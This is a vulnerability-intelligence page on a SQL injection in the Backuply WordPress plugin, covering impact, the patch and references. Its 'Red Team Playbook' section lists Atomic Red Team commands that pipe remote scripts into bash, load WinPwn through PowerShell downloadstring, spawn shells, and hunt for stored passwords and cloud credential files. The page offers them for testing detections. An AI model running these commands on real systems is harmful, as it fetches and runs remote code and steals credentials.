CVE-2024-8669
Overview
This vulnerability is a SQL Injection affecting the Backuply – Backup, Restore, Migrate and Clone WordPress plugin. The root cause is insufficient sanitization and escaping of the 'options' parameter passed to the backuply_wp_clone_sql() function, which directly concatenates user input into SQL queries. This flaw exists in all plugin versions up to and including 1.3.4, specifically within the database query construction logic of the backup and clone feature.
Vulnerability Description
The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the 'options' parameter passed to the backuply_wp_clone_sql() function in all versions up to, and including, 1.3.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An attacker with administrator-level access can exploit this vulnerability to execute arbitrary SQL queries, enabling unauthorized extraction of sensitive database information. This can lead to data disclosure, modification, or deletion within the WordPress environment. The exploit requires authenticated access with high privileges (PR:H) and no user interaction (UI:N), with network attack vector (AV:N), and can compromise confidentiality, integrity, and availability (C:H/I:H/A:H) of the affected system.
Solution
Upgrade the Backuply plugin to a version later than 1.3.4 where this vulnerability is patched. The official WordPress plugin repository and Softaculous advisory recommend applying the update that includes changeset 3151205, which properly sanitizes the 'options' parameter and uses prepared statements. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/6a061553-c988-4a31-a0a2-7a2608faa33f for detailed patch instructions and verification steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Backuply plugin for WordPress arises from an SQL Injection flaw that is rooted in inadequate input sanitization. Specifically, the issue lies within the 'options' parameter that is passed to the backuply_wp_clone_sql() function. This function fails to properly escape user-supplied input, allowing malicious actors to manipulate SQL queries executed against the database. When an attacker with administrator-level access exploits this vulnerability, they can inject arbitrary SQL commands into the existing queries. This not only compromises the integrity of the database but also exposes sensitive information, including user credentials, personal data, and configuration settings.
The attack vectors for this vulnerability are particularly concerning due to the requirement for authenticated access. An attacker must possess administrator-level privileges, which may limit the number of potential exploiters but does not eliminate the risk. Once inside, an attacker can craft a malicious request that includes specially formatted input in the 'options' parameter. This input can append additional SQL statements to the original query, enabling the attacker to perform operations such as data retrieval, modification, or even deletion. Scenarios could involve extracting sensitive user data or administrative credentials, which could then be used for further attacks, including privilege escalation or lateral movement within the organization’s IT infrastructure.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the Backuply plugin for critical backup and restoration operations. The potential for data exfiltration poses a significant business risk, as compromised databases can lead to regulatory violations, loss of customer trust, and financial repercussions. Furthermore, the presence of sensitive information in the database can make organizations attractive targets for cybercriminals, increasing the likelihood of future attacks. The ramifications of a successful exploitation could extend beyond immediate data loss, affecting an organization’s reputation and operational continuity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Backuply plugin to the latest version is crucial, as developers often release patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Security monitoring tools can also be utilized to detect unusual database queries or access patterns indicative of exploitation attempts. Furthermore, organizations should enforce the principle of least privilege, ensuring that users have only the necessary access rights to perform their roles, thereby reducing the potential attack surface.
In conclusion, the SQL Injection vulnerability in the Backuply plugin for WordPress highlights the critical importance of secure coding practices, particularly in the context of database interactions. The potential for exploitation underscores the need for vigilant security measures, including regular updates, access control, and monitoring. Organizations must remain proactive in their cybersecurity strategies to mitigate risks associated with such vulnerabilities, ensuring the integrity and confidentiality of their data assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Softaculous | Backuply | All |
cpe:2.3:a:softaculous:backuply:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8669 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/6a061553-c988-4a31-a0a2-7a2608faa33f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/backuply/trunk/functions.php#L1477 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3151205/ |